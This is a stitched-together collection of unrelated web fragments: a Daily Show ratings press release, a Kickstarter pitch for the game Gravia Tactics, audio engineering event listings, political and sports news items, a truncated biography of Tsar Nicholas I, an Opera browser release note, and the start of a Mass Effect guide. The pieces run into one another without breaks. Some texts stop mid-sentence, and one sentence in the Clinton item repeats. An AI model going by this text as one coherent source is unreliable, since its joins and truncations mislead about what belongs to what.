Among daily late night talk shows, THE DAILY SHOW WITH TREVOR NOAH is the only series to record year-over-year growth among both total viewers and Adults 18-49, both for February and the current quarter. For the month THE DAILY SHOW was up +17% among total viewers and +11% among Adults 18-49. For the current quarter the growth is up +11% and +8%, respectively and on pace for its best quarter ever, besting 4Q2016's high water mark. Season-to-date, THE DAILY SHOW WITH TREVOR NOAH is up +6% among total viewers and +3% among Adults 18-49 vs. the same timeframe across the prior season.
The Daily Show with Trevor Noah also continues to succeed and grow digitally and socially, exemplifying the true multiplatform nature of the series and how it connects with Comedy Central's target millennial audience. Digital viewing in February was up 42% versus over a year ago (source: Adobe Analytics) and THE DAILY SHOW was the most engaging show among the daily late night competitive set on social platforms in February (Facebook,Twitter, Instagram), generating the highest engagement with over 6M total actions (likes, shares, comments, reactions, retweets). (source: Shareablee)
With his unique world-view and global analysis on The Daily Show, Noah's global resonance is growing with international ratings up +22% year-over-year since the election, led by strong increases United Kingdom, Belgium, Norway and Sweden. THE DAILY SHOW WITH TREVOR NOAH can be viewed via Comedy Central International channels, online and through third- party program sales deals.
In addition, The Daily Show's audience composition of Adults 18-49 remains the most-upscale and educated of all the late night talk shows, posting a median household income of $87.3K, an upscale comp% ($100k+) of 56%, and college 4+ years comp% of 56%.
Trevor Noah, Steve Bodow, Jen Flanz and Jill Katz are the Executive Producers of THE DAILY SHOW WITH TREVOR NOAH with Ian Berger, Pam DePace, Ramin Hedayati, Justin Melkmann and Elise Terrell as Supervising Producers. Zhubin Parang is the Head Writer with Daniel Radosh as Senior Writer. The series is directed by Chuck O'Neil. Sarah Babineau is the Executive in Charge of Production for Comedy Central.
The Daily Show with Trevor Noah airs Mondays-Thursdays at 11:00 p.m. ET/PT on Comedy Central and is available to stream the following day on thedailyshow.com and the Comedy Central App. Viewers can follow "The Daily Show" on Twitter (5.5M followers), Instagram (710K followers) and Snapchat and by becoming a fan of "The Daily Show" on Facebook (6.9M fans). Fans can follow Trevor Noah on Twitter (5.9M followers), Facebook (3.6M fans) and Instagram (1.3M followers).
Available on-air, online and on-the-go via the Comedy Central App, Comedy Central (www.cc.com) is the #1 brand in comedy and is owned by, and is a registered trademark of, Comedy Partners, a wholly-owned unit of Viacom. For up-to-the-minute and archival press information and photographs visit Comedy Central's press site at press.cc.com and follow us on Twitter @ComedyCentralPR for the latest in breaking news updates, behind-the-scenes information and photos.
Viacom is home to premier global media brands that create compelling television programs, motion pictures, short-form video, apps, games, consumer products, social media and other entertainment content for audiences in 180 countries. Viacom's media networks, including Nickelodeon, Comedy Central, MTV, VH1, Spike, BET, CMT, TV Land, Nick at Nite, Nick Jr., Channel 5 (UK), Logo, Nicktoons, TeenNick and Paramount Channel, reach over 3.5 billion cumulative television subscribers worldwide. Paramount Pictures is a major global producer and distributor of filmed entertainment. For more information about Viacom and its businesses, visit www.viacom.com. Keep up with Viacom news by following Viacom's blog at blog.viacom.com and Twitter feed at www.twitter.com/viacom.
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We've been asked a few times why our goal is so high. Well, wonder no more, for a complete explanation can be found near the bottom of the page!
Stretch Goals!
Backer Rewards!
Bonus rewards - Check 'em out! https://www.kickstarter.com/projects/graviatactics/gravia-tactics/posts/935986
About Us
We're two friends who are absolutely crazy about games, especially ones with deep narratives and tight gameplay mechanics. We cut our development teeth on a critically acclaimed hack 'n' slash RPG for Xbox LIVE Indie Games called Brimstone and are now working extra hard to bring you an unforgettable Tactical RPG for the PC!
Tell Me More!
Well, Steve Lillis is our ever enthusiastic coder and project manager. He's been programming and managing projects for the past ten years, works as a web developer by day and builds Gravia by night. He used his limited savings to start up our little studio, Punchbag Entertainment, and runs entirely on coder-fuel (2 parts praise, 1 part caffeine).
Jun Chu is our resident artist and creative visionary. He conjures the game world, its inhabitants and their epic struggle from the aether while everybody else is sleeping! Jun is sometimes aided by his wife, Becky, who fends off Jun's work-induced insanity by helping colour Gravia's hundreds of individual animation frames.
We'd also like to add a very special thank you to Casey Mongillo for being the voices of Klay and Mariko in the introductory video!
Our Mission
It's our mission to make a game that you won't forget.
We know that players don't want their time to be wasted on meaningless in-game errands. We know what feels right in a user interface. We know the difference between impossible and challenging gameplay. We know the importance of choice to a player. We know the thrill of winning a battle through superior strategy. We know what it feels like to be blown away by a game and to have to tell all your friends about it!
We know all of this because, like you, we've been playing videogames for years.
That's why we're creating Gravia Tactics. It's the game that we've always wanted to play; a gritty, story-driven Tactical RPG on the PC with rewarding battle mechanics, unforgettable characters and a story arc that will take them (and you) through hell and back as you journey through all manner of hardship and hope.
Gravia Tactics is a mature, narrative driven Tactical Role-Playing Game for the PC that focuses on small party mechanics, aiming for depth over breadth of gameplay.
Customisable gear, environmental buffs/debuffs, position-changing abilities and chainable effects are just a few of the gameplay mechanics that put the power to defeat otherwise unbeatable foes in your hands.
For the player who enjoys an additional challenge, Bonus Goals in every battle - such as defeating your enemies in a specific order or ensuring that an NPC remains unharmed - offer unique rewards in the form of rare items and additional XP.
And that's just the battles! There's also a Legend System in the works where you'll piece together tidbits of information from around Gravia, tracking down powerful, ancient treasures and the behemoths that guard them!
All of this is wrapped in a powerful narrative that follows a painful yet heroic journey of a few good souls in a world pushed to its limit, where they'll face darkness they didn't know existed... including their own.
Gravia
Gravia is a world groaning from centuries of heavy industrialisation, blighted with pollution and ravaging toxic storms. There is only one thing that matters most to its denizens - Sludge. A natural deposit haphazardly harvested and greedily consumed to drive the gears of human industry. As this abominable commodity looks to be replaced with the purity of magic, unrest stirs and black-hearted souls are on the warpath to ensure that their throttling grip isn't loosened…
The Story
Erskyne concept
We want to tell you so much about Gravia's moments of hope, villainous characters and dark turns but we can't without spoiling it for you!
Instead we'll just say that not everybody is who they say they are, not everything ends neatly like it does in the storybooks and even the most resolute of spirits can be broken by the kind of extreme adversity that comes from taking on a world full of corruption.
You'll follow our motley band of unlikely heroes on their journey from naivety to heroism in a story arc that investigates their pasts and forces them to face their destiny, no matter how brutal it may be. We're not just weaving a tale of good versus evil, we're weaving one of hope versus truth, of youthful naivety versus harsh realities and of tenacity versus trauma.
The Cast
Klay Azurite is a lowly furnace boy at the Erskyne Forgeworks. His days are dirty, long and gruelling, tirelessly toiling to keep the fires of the forge burning and performing only the most tedious and petty of metalwork. But being on the bottom rung of the ladder doesn’t keep this guy down; he is an optimism freak, ever hopeful and ambitious, he gets to work with gusto and always sees the bright side even in the most challenging of situations- to the point of delusion!
Mariko Gearhart is Erskyne town’s rising young inventor-mechanic. She is in her late teens and has inherited the town machine shop alongside her brother after their father passed away some years before. Having grown up in the shop and been taught the trade by her father while he was alive, she has a natural affinity with all things with an engine- which unfortunately can’t be said of her brother- Riggs; he likes to smash things instead!
Oryan Polaris has few friends outside of the workers’ bars in Erskyne, and quite rightly so; he is a prickly individual who possesses a general mistrust of others, he carries an aura of gloom about him and is infamous for his mysterious background and negative disposition; the glass is always half empty in his eyes.
Dillon Zephyr is a young, vagrant boy who has taken refuge in the Scraphills after becoming stranded from his family. In spite of his initial hostility towards them, the party take the brat under their wing and shortly take to calling him “Spud”, a moniker poor Dillon does not take kindly to but is forced to live with as the party very quickly forgets his real name!
Riggs Gearhart, brother to Mariko, he lacks the engineering skills of his sister. However, he is an excellent salvage breaker and has a natural talent of identifying the weak point in any structure. This, alongside his trusty mechanical gloves means he can tear down most anything with ease. He is a self professed pacifist, though it has been observed many times that once his words fail, his fists are sure to come!
Riggs seldom gets along with Klay and they bicker regularly, especially when it it comes to Klay inadvertently putting Mariko in troublesome situations!
Could they perhaps make excellent steeds?!
Mallows run rife in Gravia, consuming copious amounts of Sludgeweed and often making a nuisance of themselves! They are generally innocuous, however they are more than capable of handling themselves in a scuffle!
Bots are one of the main types of enemy you will encounter in Gravia, whether they be man operable ones, utilised for battle or rogue worker-automata abandoned long ago to rust in the toxic wilderness. Used virtually all over and in every industry in the days of old, you will find an eclectic mix of bots that vary wildly in size and shape, from relatively harmless and diminutive utility models to weaponised giants. Though bot use is now in the decline due to a lack of resources needed to maintain them, you will still see some slogging away in major factories and in military caches. Used virtually all over and in every industry in the days of old, you will find an eclectic mix of bots that vary wildly in size and shape, from relatively harmless and diminutive utility models to weaponised giants. Though bot use is now in the decline due to a lack of resources needed to maintain them, you will still see some slogging away in major factories and in military caches.
Rogue bots present one of the many hazards for travelers, they roam the lands searching for motor-sustaining fuel and their burnt out logic boards lead to erratic and aggressive behaviour. Dust Eaters are a roving band of bandit-misfits, pillaging villages to survive and traveling in an ecclectic mix of motorised vehicles. They are a constant and real threat to those that dare venture out into the wastes.
Monsters are everywhere. Only the hardiest of creatures can survive in Gravia and most of these are extremely dangerous! It doesn’t help that over the many years, the flora and fauna have been affected by the mutagenic influence of sludge. Giving rise to a whole host of sickly and ferocious abominations.
Skarlett is a cruel and calculating woman who forever seeks yet more riches and power. Her motives are unclear but what's for certain is that she is very bad news to all that cross her path. She heads a shady organisation- The Blackhands, a company of agents, mercenaries and unethical researchers. They have a monopoly on Gravia's supply of sludge and with this, the ability to cripple nations.
…And many more! We’d love to tell you about all the cool characters (playable, friendly and not so friendly) that you’ll meet, but we don’t want to spoil the plot!
Battles
As you probably expected from a Tactical RPG; at the core of the Gravia Tactics experience is turn-based, grid-based battles!
We've spent considerable time shaping gameplay mechanics that will let a cunning player overcome the odds through careful strategy. Flexibility of use is a key principle in our gameplay design - we make absolutely sure that a mechanic can be used in multiple and sometimes unorthodox ways before we implement it.
You'll feel the synergy of these gameplay mechanics in full force as you configure and tweak your party's statistics, abilities, ability triggers, gear, ModiGear, items, elemental types, damage types, resistances and so much more and that's just between the battles! In battle you'll be carefully manoeuvring your party, manipulating your enemies' positions, their element types, damage types and so forth to maximise your battlefield advantage and minimise theirs!
The artificial intelligence that controls your enemies has been built from the ground up to understand the value of these mechanics under different contexts too, though. We're already seeing scenarios where the enemies capitalise on the synergy of their abilities in unexpected and powerful ways, making them quite the exciting challenge to overcome!
And when it comes to exciting gameplay lets not forget that there'll also be quite a few Big Bosses for you to fight!
We're gonna need a bigger sword...
With each of these mammoth foes utilising the game's mechanics in their own way there's no one-strategy-fits-all and you'll need to adjust your party formation and tactics on the fly if you want to beat down these monstrosities. When you succeed, the rewards are worth the effort. To the victor, the spoils!
Exploration
Laboratory exploration level concept
Gravia Tactics isn't just about smashing rogue bots to pieces and thwarting evil in battle scenes. There's also a vibrant and fascinating world to explore!
As you take our band of adventurers across the gorgeous, hand-painted landscapes of Gravia you'll experience an unforgettable cast of characters and compelling plot through conversations, quests and fully voiced, fully animated, anime cutscenes!
There's a lot of hid-away places in Gravia, too. The true explorer will find themselves rewarded for their efforts when they uncover hidden locations, treasures, bosses and even additional plot segments!
Customisation
Character Progression
Exploring Gravia, finding secrets and defeating enemies earns your party experience. When enough experience is earned, characters gain levels. This is when you start shaping the party to your play-style!
Each party member has a progression tree that looks something like this:
Since every party member starts at level 1, they already have access to the first ability. When you gain enough experience to go up a level, you have a choice to make as to the route to take through the character's progression tree.
In the above example at level 2, you might have to choose between a Strength increase or a HP increase. If you take strength, the character will deal more damage, but if you take HP, she'll be able to take more damage before becoming incapacitated. Sometimes the choice is between two abilities - and since you can't follow both routes - you'll have to make a decision about which abilities the character should have in order to be most useful to your party.
Gear and Gear Progression
As you play through Gravia Tactics you'll find lots of gear items (pieces of equipment) for your party to use.
Gear usually has a level or statistic requirement - or is only usable by a specific character - and your character will need to meet these requirements to be able to equip the item.
Higher level gear items come with unlockable abilities and progression trees of their own. The trees are similar to the character progression trees but shorter. A gear item gains experience all the time it is equipped by a character in your party.
When the gear gains enough experience to level up, you can unlock an ability from its tree. Some of these abilities are gear specific, meaning that the character only has that ability while the gear item is equipped. Other gear abilities can be learned! Once you've unlocked the ability for a character, that character has it forever, regardless of whether the item is still equipped!
ModiGear
The customisation options don't stop at gear and levelling up!
Some gear items have slots for what the people of Gravia call ModiGear. ModiGear items are items that can't be equipped on their own, but can be fitted into slots on a character's gear items in order to provide character statistic 'trades'.
We say 'trades' because most ModiGear lowers one or more of a character's statistics to provide a boost to another statistic on that character.
For example, you might have a ModiGear item that gives -26 HP and +22 SP. Since you always hide Spud behind the rest of the party and he could use the extra Skill Points for casting spells, you apply the ModiGear item to one of his weapon's empty ModiGear slots, lowering his Health Points but increase his Skill Points.
ModiGear can be swapped around any time the party isn't engaged in a battle, so you'll have plenty of opportunities to perfect your party's composition!
Bot-Builder (stretch goal)
Bot-Builder Prototype
If the Bot-Builder stretch goal is reached, you'll be able to collect parts from your defeated enemies and around Gravia then go to Mariko's workshop and create yourself an additional party member!
With a wide array of parts available, you'll be able to construct the perfect party member to fill the niche for your play-style. Have you geared the rest of the party for damage dealing? Build a healer or booster bot! How about a party full of damage takers? Build a killing machine to hide behind them and deal out the punishment.
With so many layers of battle mechanics, we're certain you'll invent bots to fill roles we didn't even think of!
Salaries (£70,000.00)
You might be thinking, "Woah, that's a large slice of the pie!" and you're right, it is, but it's not just for Jun and me to work on Gravia full time. We will also be taking on one or two additional animators during the year to produce the animated cut-scenes and to assist in the production of the game's core content to ensure that we deliver on time.
£70,000.00 split between 4 people over the course of a year and a bit is an average salary of just £17,500.00 per person per annum, which isn't as glamorous as the lump sum might first seem.
VAT (£21,840.00)
Value Added Tax is a legal obligation in the UK. We are required to pay the government 20% of all money received for goods or services provided to customers within the EU. We know that a large portion of our backers will be outside of the EU and therefore be zero-rated for VAT (and subject to typically lower rates of local tax instead), but we can't safely predict how many people in advance.
We budgeted for the worst case scenario and any funds allocated to VAT but not spent on VAT will be put into the safety buffer.
Music/Sound Effects (£5,000.00)
There's not too much explanation required for this one. We researched the costs involved in sourcing the music for Gravia Tactics and allocated a sensible portion of the budget towards it.
Voice Actors (£5,000.00)
Similarly to Music/Sound Effects, our research led us to this figure. We've carefully limited our cast of characters in a way that doesn't damage the story, but keeps the number of required voice artists within a sensible range.
Kickstarter Fee (£6,000.00)
Kickstarter takes 5% of total funds raised. We don't include VAT in the above figure because it can be reclaimed from HMRC.
Kickstarter Payment Processing Fee (£4,800.00)#
Kickstarter takes a further 3% + £0.20 for each pledge received. We need approximately 6,000 backers to be successful given our reward structure and used this estimate to calculate the above figure.
Reward Fulfilment (£4,800.00)
If we receive pledges for all of the physical rewards available then this is the total amount we'll need to fulfil them all. Any funds left over will go into the safety buffer.
Buffer (£2,560.00)
Anybody who's worked on a big project for an extended period of time will know that you can't predict every eventuality and that it's foolhardy to assume otherwise. This small buffer, along with the flexibility in the VAT budget and reward fulfilment budget means that we have the capacity in our budget to tackle problems head on and still deliver on time.
We've been working hard over the past year and a bit to produce a story that is unique, compelling and respects the player's time with an all killer, no filler approach.
We've also spent a lot of time over the past year putting together all of the tools that allow us to construct the environments, animations, conversations, characters, items, abilities and battles for Gravia and we've already implemented the foundation combat system and an AI that challenges the player and rewards careful assessment and good judgement.
We did all of this in our free time, outside of our 9-5 day jobs.
We're now ready to go into a phase of pure content creation. This is where we use the tools and documentation we've built over the past year to create the game itself. The towns, the conversations, the battles, the monsters, the abilities, the items, the cutscenes and the characters that you'll be experiencing whenever you play Gravia Tactics!
That's why we need your help.
To produce the content required for Gravia in our free time would take us a very long time and a budget that we do not have. With your support we can work on Gravia full time (and then some)! We can commission voice actors to breathe life into our characters, musicians to do the same for the game world, a foley artist for meaty, crisp sound effects (tasty!) and animators to produce the Anime cutscenes. To put it simply...
The Gravia Tactics that we dream of creating cannot happen without your support!
Help us make this dream game a reality by pledging as much as you can and bagging yourself some seriously cool goodies in the process!Date: 27 Feb 2019
Time: 18:30
Location:
Gestalt discuss their work interacting with space and architecture.
The different approaches they use and processes they work with when creating these works. Looking at how new technology is opening up different possibilities for exploration; expanding and intersecting the traditional constructs of a music release, performance, exhibit or gallery space.
Gestalt
A collaborative ‘Audio Visual’ project directed & curated by composers Joel Wells & Abi Wade;
With a focus on creating experimental music works and soundscapes, which have an intrinsic relationship to visual art.
Wells and Wade combine an alternative and experimental approach to sound, composition, performance and instrumentation; Classical instruments are subverted in innovative ways, preparing the piano with found objects, manipulating vocals to create ambient soundscapes and exploring the cello percussively using beaters, contact microphones and unusual bowing techniques. The pair also extensively experiment with field recordings, new technologies and the creation of unique sample instruments. Tuned percussion such as the Kalimba and Slate marimba are recorded and re-sequenced using analog and digital hardware inc Elektron’s infamous Octatrack sampler and the Analog Rytm drum machine, to become warped ‘fourth world’ polyrhythms or textural drones.
Hogg Lecture Theatre – L294, Second Floor, University Of Westminster, 35 Marylebone Road, London NW1 5LS
Date: 19 Mar 2019
Time: 18:00
Location: Southampton Solent University
Southampton Solent University, East Park Terrace
Southampton
Audio Definition Modelling in Broadcast. Joint meeting with SMPTE, David Marston, BBC R&D.
Date: 19th March 2019
Time: 18:00
Venue: Palmerston Lecture Theatre, Solent University, Southampton
The Audio Definition Model is a specification of metadata that can be used to describe object-based audio, scene-based audio and channel-based audio. It can be included in BWF WAVE files or used as a streaming format in production environments. This talk will discuss the development and application of the Audio Definition Model, including the BBC Audio Toolkit.
Dave Marston attended the University of Birmingham and achieved a B.Eng in Electronic Engineering. After a short spell working for Galatrek designing uninterruptible power supplies he joined Ensigma specialising in DSP programming and speech coding research. In 2000 he joined BBC R&D, initially working on DAB and then moving on to audio coding research and testing. Among the many areas of audio research Dave has been involved in, subjective testing has been an important area. He has been involved in EBU projects over several years, and was chairman of the FAR-BWF group (improving the BWAV file format). Another area of his expertise is semantic audio, including managing of the M4 (Making Musical Mood Metadata) collaborative project. Over recent years Dave has been involved in the development of the Audio Definition Model (ADM), a metadata model used to describe future audio formats. He has developed the ADM from the initial concept and has turned into an international standard that is now being adopted across the audio industry. He was has also been involved in two recent EU-funded projects: ICoSOLE (lead the BBC work) and ORPHEUS.
Registration for this meeting will be available from January.
Date: 27 Mar 2019
Time: 00:00
Location: University of York
University of York
York
2019 AES International Conference on Immersive and Interactive Audio
March 27 – 29th
University of York UK
Call for Papers
Immersive audio systems are ubiquitous and range from macro-systems installed in cinemas, theatres and concert halls to micro-systems for domestic, in-car entertainment, VR/AR and mobile platforms. New developments in human-computer interaction, in particular head and body motion tracking and artificial intelligence, are paving the way for adaptive and intelligent audio technologies that promote audio personalisation and heightened levels of immersion. Interactive audio systems can now readily utilise non-tactile data such as listener location, orientation, gestural control and even biometric feedback such as heart rate or skin conductance, to intelligently adjust immersive sound output. Such systems offer new creative possibilities for a diverse range of applications from virtual and augmented reality through to automotive audio and beyond. This opens up exciting new opportunities for artists and audio producers to create compelling immersive experiences. This three-day conference will explore the unique space where interactive technologies and immersive audio meet and aims to exploit the synergies between these fields. The conference will include keynote lectures, technical paper sessions, tutorials and workshops, as well as technological and artistic demonstrations of immersive and interactive audio.
Deadline for papers is 1st October 2018
Deadline for proposals for Workshops and Tutorials is 1st November 2018
You can find the Call for Papers here.
Date: 13 Apr 2019
Time: 09:00
Location: Royal Conservatoire of Scotland Wallace Studios
210 Garscube Rd
Glasgow
Register here: https://www.rcs.ac.uk/boxoffice-event/eventid/157004-Theatre-Sound-Assembly/
Ever wondered what a Theatre Sound Designer actually does? Well now is your chance to find out. The Royal Conservatoire of Scotland, in collaboration with the Audio Engineering Society Scotland and Soundgirls, is pleased to invite you to a series of workshops for aspiring sound designers.
Led by industry experts, these informative workshops will introduce you to cutting edge concepts and methodology surrounding theatre sound production.
Introduction to Sound Design for Theatre
Led by sound designer, voice actor and award-nominated voice demo producer, Kirsty Gillmore, this introductory course will outline the role of the sound designer followed by a discussion of the sound process.
This workshop will cover:
▶ The role of the sound designer
▶ From rehearsals to previews: the theatre sound design process
▶ Musicals, plays, opera and beyond – the different strands of sound design and how to approach them
▶ Transitioning into theatre sound design from other sound disciplines
Sound Design and Music for Outdoor Events
Award winning sound designer Kev Murray will lead a workshop on sound design and music for outdoor events.
This workshop will cover:
▶ Creative overview of the the site
▶ Creating the content for the event
▶ Practical and physical design of the site
▶ Working with other external creative teams
Microphone Fitting for Musical Theatre
With over a decade of experience of working in Musical Theatre in the West End, on national and international tours, Clare Hibberd will discuss the use of microphones within a musical theatre production.
The workshop will cover:
▶ Working in a Musical Theatre Sound Department
▶ Practical mic fitting activities
▶ Tricky situations and problem solving
▶ Ideas to try on your next show
The Sound of Spaces: Ambience and Location in Theatre
With nearly ten years experience as the National Theatre of Scotland’s Head of Sound, Matt Padden will discuss the sound of sound within theatre.
This course will cover:
▶ How sound fits into the dramatic world of the play
▶ Putting sound in ‘the right place’
▶ Juxtaposition: ‘wrong places’ and dramatic impact
▶ Making the most of inattentionMark Cuban, a Hillary Clinton supporter and one of Donald Trump’s most vocal critics, met with the president-elect’s top adviser Steve Bannon over coffee in Manhattan on Tuesday.
It wasn’t clear what they discussed at the King Cole Bar at the St. Regis Hotel, according to TMZ, which published a photo of the odd couple.
Cuban, the billionaire owner of the Dallas Mavericks basketball team, was one of the loudest anti-Trump voices during the presidential campaign. The Mavs, Milwaukee Bucks and Memphis Grizzlies have all said they won’t stay in Trump hotels while on the NBA road.
Bannon, who was recently named White House chief strategist, came from Breitbart News, a favorite site of the alt-right.
As harsh as Cuban was on Trump during the campaign, the NBA owner gave Bannon a backhanded compliment last month, saying he’s “a lot smarter” than Trump and only using him to benefit the site.Nicholas I (Russian: Николай I Павлович, tr. Nikolay I Pavlovich; 6 July [O.S. 25 June] 1796 – 2 March [O.S. 18 February] 1855) was the Emperor of Russia from 1825 until 1855. He was also the King of Poland and Grand Duke of Finland. He is best known as a political conservative whose reign was marked by geographical expansion, repression of dissent, economic stagnation, poor administrative policies, a corrupt bureaucracy, and frequent wars that culminated in Russia's defeat in the Crimean War of 1853–56. His biographer Nicholas V. Riasanovsky says that Nicholas displayed determination, singleness of purpose, and an iron will, along with a powerful sense of duty and a dedication to very hard work. He saw himself as a soldier—a junior officer totally consumed by spit and polish. A handsome man, he was highly nervous and aggressive. Trained as an engineer, he was a stickler for minute detail. In his public persona, says Riasanovsky, "Nicholas I came to represent autocracy personified: infinitely majestic, determined and powerful, hard as stone, and relentless as fate."[1] His reign had an ideology called "Official Nationality" that was proclaimed officially in 1833. It was a reactionary policy based on orthodoxy in religion, autocracy in government, and Russian nationalism.[2] He was the younger brother of his predecessor, Alexander I. Nicholas inherited his brother's throne despite the failed Decembrist revolt against him and went on to become the most reactionary of all Russian leaders. His aggressive foreign policy involved many expensive wars, having a disastrous effect on the empire's finances.
He was successful against Russia's neighbouring southern rivals as he seized the last territories in the Caucasus held by Persia (comprising modern day Armenia and Azerbaijan) by successfully ending the Russo-Persian War (1826–28). By now, Russia had gained what is now Dagestan, Georgia, Azerbaijan and Armenia from Persia, and had therefore at last gained the clear upper hand in the Caucasus, both geo-politically as well as territorially. He ended the Russo-Turkish War (1828–1829) successfully as well. Later on, however, he led Russia into the Crimean War (1853–56) with disastrous results. Historians emphasize that his micromanagement of the armies hindered his generals, as did his misguided strategy. Fuller notes that historians have frequently concluded that "the reign of Nicholas I was a catastrophic failure in both domestic and foreign policy."[3] On the eve of his death, the Russian Empire reached its geographical zenith, spanning over 20 million square kilometers (7.7 million square miles), but in desperate need of reform.
Early life and road to power [ edit ]
Tsar Nicholas I Pavlovich as a boy, circa 1808
Nicholas was born at Gatchina Palace in Gatchina to Grand Duke Paul, and Grand Duchess Maria Feodorovna of Russia. Five months after his birth, his grandmother, Catherine the Great, died and his parents became emperor and empress of Russia. He was a younger brother of Emperor Alexander I of Russia, who succeeded to the throne in 1801, and of Grand Duke Constantine Pavlovich of Russia. Riasanovsky says he was, "the most handsome man in Europe, but also a charmer who enjoyed feminine company and was often at his best with the ladies."[4]
On 13 July 1817, Nicholas married Princess Charlotte of Prussia (1798–1860), who thereafter went by the name Alexandra Feodorovna when she converted to Orthodoxy. Charlotte's parents were Frederick William III of Prussia and Louise of Mecklenburg-Strelitz. Nicholas and Charlotte were third cousins, as they were both great-great-grandchildren of Frederick William I of Prussia.
With two older brothers, it initially seemed unlikely Nicholas would ever become Tsar. However, as Alexander and Constantine both failed to produce sons, Nicholas remained likely to rule one day. In 1825, when Alexander I died suddenly of typhus, Nicholas was caught between swearing allegiance to Constantine and accepting the throne for himself. The interregnum lasted until Constantine, who was in Warsaw at that time, confirmed his refusal. Additionally, on 25 (13 Old Style) December, Nicholas issued the manifesto proclaiming his accession to the throne. That manifesto retroactively named 1 December (19 November Old Style), the date of Alexander I's death, as the beginning of his reign. During this confusion, a plot was hatched by some members of the military to overthrow Nicholas and to seize power. This led to the Decembrist Revolt on 26 (14 Old Style) December 1825, an uprising Nicholas was successful in quickly suppressing.
Emperor and principles [ edit ]
Imperial Monogram
Early reign [ edit ]
Nicholas completely lacked his brother's spiritual and intellectual breadth; he saw his role simply as that of a paternal autocrat ruling his people by whatever means necessary.[5] Nicholas I began his reign on 14 December 1825 (old style),[6] which fell on a Monday; Russian superstition held that Mondays were unlucky days.[7] This particular Monday dawned very cold, with temperatures of −8 degrees Celsius.[7] This was regarded by the Russian people as a bad omen for the coming reign. The accession of Nicholas I was marred by a demonstration of 3000 young Imperial Army officers and other liberal-minded citizens. This demonstration was an attempt to force the government to accept a constitution and a representative form of government. Nicholas ordered the army out to smash the demonstration. The "uprising" was quickly put down and became known as the Decembrist Revolt. Having experienced the trauma of the Decembrist Revolt on the very first day of his reign, Nicholas I was determined to restrain Russian society. The Third Section of the Imperial Chancellery ran a huge network of spies and informers with the help of Gendarmes. The government |
also brings a better integration with Mac OS, as “vibrancy” of the address field and improved Mac fullscreen mode have been added. Last, but not least, we’ve updated a bundled themes selection, to give you a fresh look for your start page.
Download Opera 28
Opera 28 for Windows
Opera 28 for Mac
Opera 28 for Linux
Take a look at the Opera 28 changelog.
Opera’s option-rich bookmarks let you do more than any other browser. Let us know what you think about all the latest improvements, below.Secretary of State Hillary Clinton will not be able to testify before House and Senate committees next week on the Benghazi issue due to a concussion, the State Department said Saturday.
Clinton was a scheduled to testify Thursday on the Sept. 11 terror attacks on the U.S. Consulate in Benghazi, Libya, in which U.S. Ambassador Christopher Stephens and three other Americans were killed.
Deputy Assistant Secretary of State Philippe Reines said Saturday that Clinton is suffering from a stomach virus, fainted and hit her head, which caused the concussion. said Clinton is suffering from a stomach virus, fainted and hit her head, which caused the concussion.
However, the agency did not say when the fall occurred.
On Saturday afternoon, the House Foreign Affair Committee announced the hearing will proceed Thursday, with or without Clinton.
More On This...
The committee also said former Ambassador Thomas Pickering and retired Adm. Mike Mullen, former chairman of the Joint Chiefs of Staff, would appear Wednesday before members for a classified briefing about Benghazi.
However, committee Chairwoman Rep. Ileana Ros-Lehtinen made clear she still wanted Clinton to testify at some point.
“Although I respect Bill and Tom, we still don’t have information from the Obama administration on what went so tragically wrong in Benghazi,” the Florida congresswoman said Saturday. “This requires a public appearance by the secretary of state herself.”
Senior State Department officials William Burns and Thomas Nides are expected to take Clinton's place at both hearings.
The House and Senate committees said Wednesday that Clinton would testify Thursday.
The State Department over the next two days appeared to waffle on the whether Clinton would testify on the appointed date.
Spokeswoman Victoria Nuland said Thursday the agency’s Accountability Review Board report on the attacks, upon which Clinton will largely base her testimony, might not be complete. However, acting deputy spokesman Patrick Ventrell said Friday he anticipated the report will be ready and Clinton will make the scheduled appearance.
Congressional Republican have led the charge for answers regarding the Benghazi situation -- from security prior to the attacks, to what sparked the deadly violence to what official told the American public in the aftermath.
U.N. Ambassador Susan Rice said five days after the incident, during a round of Sunday talk shows, the attacks appeared to be a “spontaneous” response to early violence related to an anti-Islamic video.
The administration later said the attacks appeared to be terror related.
Rice acknowledged the information she gave Sept. 16 was incorrect but has stuck to her position that she was working off information given to her by intelligence officials and that the information at the time was evolving.
The 65-year-old Clinton on Monday backed out of trip to North Africa and the Persian, citing the illness that she thinks she caught during a recent visit to Europe. Clinton plans to step down in January. She has said she is tired from the job’s long, hectic schedule and needs a rest.
Sen. John Kerry, chairman of the Senate Foreign Affairs Committee, upon being told Saturday about Clinton’s illness and injury “insisted” she not appear at the hearing, said Jodi Seth, spokeswoman for the Massachusetts Democrat.
The Associated Press contributed to this report.Marcelino: Madrid weaker this season
By Football Espana staff
Valencia Coach Marcelino Garcia Toral believes Real Madrid’s squad is weaker than it was last season and La Liga’s title race is wide open.
Zinedine Zidane’s side have won only eight of their 14 league matches so far this season and trail league leaders Barcelona by eight points, and are three points behind Los Che.
“In my opinion, Real Madrid’s squad now is weaker than it was last season,” Marcelino told Radio Marca.
“I believe they have lost potential over the past year with the players who have left the club in that time period.
“It will be a very interesting La Liga title race this season and right now it is hugely difficult to assess who is the favourite, there are probably five teams in the mix.
“You look at Barcelona, Real Madrid and Atletico Madrid who are always involved and Sevilla have been for the past few years too.
“Maybe with the current league table then Barcelona are the slight favourites, while we have come from the furthest back.”Since so many of you have been posting mock offseasons over in the fanposts, I figured there were would probably some interest in a mock draft. Our pal Dan Kadar from Mocking The Draft did a brand new two round mock today and the Eagles have three picks in those first two rounds. Here's a link to his full mock, but here are his picks for the Eagles.
11. Philadelphia Eagles - Luke Kuechly, MLB, Boston College
It's time to buck some trends. The Eagles are a team that rarely takes linebackers this early in the draft, but Kuechly needs to be the exception. If the Eagles want their defense to succeed, they need a smart, sure tackler like Kuechly. He's the kind of player who could make everyone else around him look better by masking their deficiencies.
43. Philadelphia Eagles - Robert Lester, FS, Alabama
The Eagles continue to have safety issues after unsuccessfully trying to replace Brian Dawkins.
45. Philadelphia Eagles (from Arizona Cardinals) - Brandon Thompson, DT, Clemson
After linebacker, the Eagles' defense has suffered this season because of poor play from the defensive tackles. Thompson would be a steal at this point and start immediately for Philadelphia.
Thoughts?Complete Guide for Mass Effect Andromeda Beginners. If you are just starting your adventure, here you will find all basics, systems and mechanics explained plus some tips and tricks!
BASIC OVERVIEW
Game Overview
